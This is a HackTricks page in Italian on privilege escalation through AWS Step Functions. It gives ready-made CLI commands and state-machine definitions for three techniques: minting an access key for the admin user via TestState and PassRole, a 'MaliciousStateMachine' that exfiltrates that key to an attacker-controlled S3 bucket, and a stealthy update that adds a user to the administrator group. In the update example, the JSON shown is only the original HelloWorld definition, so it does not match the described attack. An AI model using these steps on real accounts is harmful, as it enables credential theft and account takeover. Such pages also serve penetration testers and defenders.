AWS - Step Functions Privesc

Supporta HackTricks

Step Functions

Per ulteriori informazioni su questo servizio AWS, controlla:

AWS - Step Functions Enum

Risorse delle Attività

Queste tecniche di escalation dei privilegi richiederanno di utilizzare alcune risorse delle funzioni step di AWS per eseguire le azioni di escalation dei privilegi desiderate.

Per controllare tutte le azioni possibili, puoi andare nel tuo account AWS, selezionare l'azione che desideri utilizzare e vedere i parametri che sta utilizzando, come in:

Oppure puoi anche andare alla documentazione API di AWS e controllare la documentazione di ciascuna azione:

states:TestState & iam:PassRole

Un attaccante con i permessi states:TestState & iam:PassRole può testare qualsiasi stato e passare qualsiasi ruolo IAM senza creare o aggiornare una macchina a stati esistente, consentendo accesso non autorizzato ad altri servizi AWS con i permessi del ruolo. Potenzialmente. Combinati, questi permessi possono portare a estese azioni non autorizzate, dalla manipolazione dei flussi di lavoro all'alterazione dei dati, fino a violazioni dei dati, manipolazione delle risorse e escalation dei privilegi.

aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]

I seguenti esempi mostrano come testare uno stato che crea una chiave di accesso per l'utente admin sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata qualsiasi policy ad alta privilegio (ad esempio arn:aws:iam::aws:policy/AdministratorAccess) che consente allo stato di eseguire l'azione iam:CreateAccessKey:

  • stateDefinition.json:

{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
  • Comando eseguito per eseguire il privesc:

aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}

Impatto Potenziale: Esecuzione non autorizzata e manipolazione di flussi di lavoro e accesso a risorse sensibili, potenzialmente portando a significative violazioni della sicurezza.

states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)

Un attaccante con states:CreateStateMachine & iam:PassRole sarebbe in grado di creare una macchina a stati e fornirle qualsiasi ruolo IAM, abilitando l'accesso non autorizzato ad altri servizi AWS con i permessi del ruolo. A differenza della precedente tecnica di privesc (states:TestState & iam:PassRole), questa non si esegue da sola, sarà necessario avere anche i permessi states:StartExecution o states:StartSyncExecution (states:StartSyncExecution non è disponibile per flussi di lavoro standard, solo per macchine a stati espressive) per avviare un'esecuzione sulla macchina a stati.

# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

I seguenti esempi mostrano come creare una macchina a stati che crea una chiave di accesso per l'utente admin ed esfiltra questa chiave di accesso in un bucket S3 controllato dall'attaccante, sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata qualsiasi policy ad alta privilegio (ad esempio arn:aws:iam::aws:policy/AdministratorAccess) che consente alla macchina a stati di eseguire le azioni iam:CreateAccessKey e s3:putObject.

  • stateMachineDefinition.json:

{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
  • Comando eseguito per creare la macchina di stato:

aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
  • Comando eseguito per avviare un'esecuzione della macchina a stati precedentemente creata:

aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}

Il bucket S3 controllato dall'attaccante dovrebbe avere permessi per accettare un'azione s3:PutObject dall'account vittima.

Impatto Potenziale: Esecuzione non autorizzata e manipolazione dei flussi di lavoro e accesso a risorse sensibili, che potrebbero portare a significative violazioni della sicurezza.

states:UpdateStateMachine & (non sempre richiesto) iam:PassRole

Un attaccante con il permesso states:UpdateStateMachine sarebbe in grado di modificare la definizione di una macchina a stati, potendo aggiungere stati stealth aggiuntivi che potrebbero portare a un'escalation dei privilegi. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo.

A seconda di quanto permissivo sia il Ruolo IAM associato alla macchina a stati, un attaccante si troverebbe di fronte a 2 situazioni:

  1. Ruolo IAM Permissivo: Se il Ruolo IAM associato alla macchina a stati è già permissivo (ha ad esempio la policy arn:aws:iam::aws:policy/AdministratorAccess allegata), allora il permesso iam:PassRole non sarebbe necessario per escalare i privilegi poiché non sarebbe necessario aggiornare anche il Ruolo IAM, con la definizione della macchina a stati è sufficiente.

  2. Ruolo IAM Non Permissivo: In contrasto con il caso precedente, qui un attaccante richiederebbe anche il permesso iam:PassRole poiché sarebbe necessario associare un Ruolo IAM permissivo alla macchina a stati oltre a modificare la definizione della macchina a stati.

aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

I seguenti esempi mostrano come aggiornare una macchina a stati legittima che invoca semplicemente una funzione Lambda HelloWorld, per aggiungere uno stato extra che aggiunge l'utente unprivilegedUser al gruppo IAM administrator. In questo modo, quando un utente legittimo avvia un'esecuzione della macchina a stati aggiornata, questo nuovo stato stealth malevolo verrà eseguito e l'escalation dei privilegi avrà successo.

Se la macchina a stati non ha un ruolo IAM permissivo associato, sarebbe anche necessaria l'autorizzazione iam:PassRole per aggiornare il ruolo IAM al fine di associare un ruolo IAM permissivo (ad esempio uno con la policy arn:aws:iam::aws:policy/AdministratorAccess allegata).

{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
  • Comando eseguito per aggiornare la macchina a stati legittima:

aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}

Impatto Potenziale: Esecuzione non autorizzata e manipolazione di flussi di lavoro e accesso a risorse sensibili, potenzialmente portando a significative violazioni della sicurezza.

Supporta HackTricks

Last updated